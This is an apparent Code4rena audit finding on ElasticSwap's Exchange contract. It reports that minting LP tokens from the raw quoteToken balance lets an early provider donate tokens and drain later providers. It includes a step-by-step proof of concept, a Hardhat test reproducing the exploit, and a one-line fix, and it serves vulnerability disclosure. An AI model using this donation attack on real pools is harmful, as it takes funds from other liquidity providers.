[WP-H2] Transferring quoteToken to the exchange pool contract will cause future liquidity providers to lose funds

[code423n4]

Handle

WatchPug

Vulnerability details

In the current implementation, the amount of LP tokens to be minted when addLiquidity() is calculated based on the ratio between the amount of newly added quoteToken and the current wallet balance of quoteToken in the Exchange contract.

However, since anyone can transfer quoteToken to the contract, and make the balance of quoteToken to be larger than _internalBalances.quoteTokenReserveQty, existing liquidity providers can take advantage of this by donating quoteToken and make future liquidity providers receive fewer LP tokens than expected and lose funds.

https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L578-L582

liquidityTokenQty = calculateLiquidityTokenQtyForDoubleAssetEntry(
    _totalSupplyOfLiquidityTokens,
    quoteTokenQty,
    _quoteTokenReserveQty // IERC20(quoteToken).balanceOf(address(this))
);

PoC

Given:

• The Exchange pool is new;

1. Alice addLiquidity() with 1e18 baseToken and 1e18 quoteToken, recived 1e18 LP token;
2. Alice transfer 99e18 quoteToken to the Exchange pool contract;
3. Bob addLiquidity() with 1e18 baseToken and 1e18 quoteToken;
4. Bob removeLiquidity() with all the LP token in balance.

Expected Results: Bob recived 1e18 baseToken and >= 1e18 quoteToken.

Actual Results: Bob recived ~0.02e18 baseToken and ~1e18 quoteToken.

Alice can now removeLiquidity() and recive ~1.98e18 baseToken and ~100e18 quoteToken.

As a result, Bob suffers a fund loss of 0.98e18 baseToken.

Recommendation

Change to:

liquidityTokenQty = calculateLiquidityTokenQtyForDoubleAssetEntry(
    _totalSupplyOfLiquidityTokens,
    quoteTokenQty,
    _internalBalances.quoteTokenReserveQty
);

[0xean]

This does appear to be correct after attempting a POC. Thank you WatchPug!

For my own reference later:

it.only("POC", async () => {
      // create expiration 50 minutes from now.
      const expiration = Math.round(new Date().getTime() / 1000 + 60 * 50);
      const liquidityProvider = accounts[1];
      const liquidityProvider2 = accounts[2];

      // send users (liquidity provider) base and quote tokens for easy accounting.
      const liquidityProviderInitialBalances = 100000000;
      await baseToken.transfer(
        liquidityProvider.address,
        liquidityProviderInitialBalances
      );
      await quoteToken.transfer(
        liquidityProvider.address,
        liquidityProviderInitialBalances
      );

      await quoteToken.transfer(
        liquidityProvider2.address,
        liquidityProviderInitialBalances
      );

      await baseToken.transfer(
        liquidityProvider2.address,
        liquidityProviderInitialBalances
      );

      // add approvals
      await quoteToken
        .connect(liquidityProvider)
        .approve(exchange.address, liquidityProviderInitialBalances);
      await baseToken
        .connect(liquidityProvider)
        .approve(exchange.address, liquidityProviderInitialBalances);
      await quoteToken
        .connect(liquidityProvider2)
        .approve(exchange.address, liquidityProviderInitialBalances);
      await baseToken
        .connect(liquidityProvider2)
        .approve(exchange.address, liquidityProviderInitialBalances);

      const baseTokenLiquidityToAdd = 50000;
      const quoteTokenLiquidityToAdd = 50000;

      await exchange.connect(liquidityProvider).addLiquidity(
        baseTokenLiquidityToAdd, // base token
        quoteTokenLiquidityToAdd, // quote token
        1,
        1,
        liquidityProvider.address,
        expiration
      );

      await quoteToken
        .connect(liquidityProvider)
        .transfer(exchange.address, quoteTokenLiquidityToAdd);

      await exchange
        .connect(liquidityProvider2)
        .addLiquidity(
          baseTokenLiquidityToAdd,
          quoteTokenLiquidityToAdd,
          1,
          1,
          liquidityProvider2.address,
          expiration
        );

      await exchange
        .connect(liquidityProvider)
        .removeLiquidity(
          await exchange.balanceOf(liquidityProvider.address),
          1,
          1,
          liquidityProvider.address,
          expiration
        );

      await exchange
        .connect(liquidityProvider2)
        .removeLiquidity(
          await exchange.balanceOf(liquidityProvider2.address),
          1,
          1,
          liquidityProvider2.address,
          expiration
        );
    });
  });

[GalloDaSballo]

The warden identified a way to exploit the protocol math to devalue future liquidity provision at the advantage of early liquidity providers.

The exploit is extractive in nature, however, because this is reliably performable and effectively breaks the protocol's goals and mechanics, I believe High Severity to be appropriate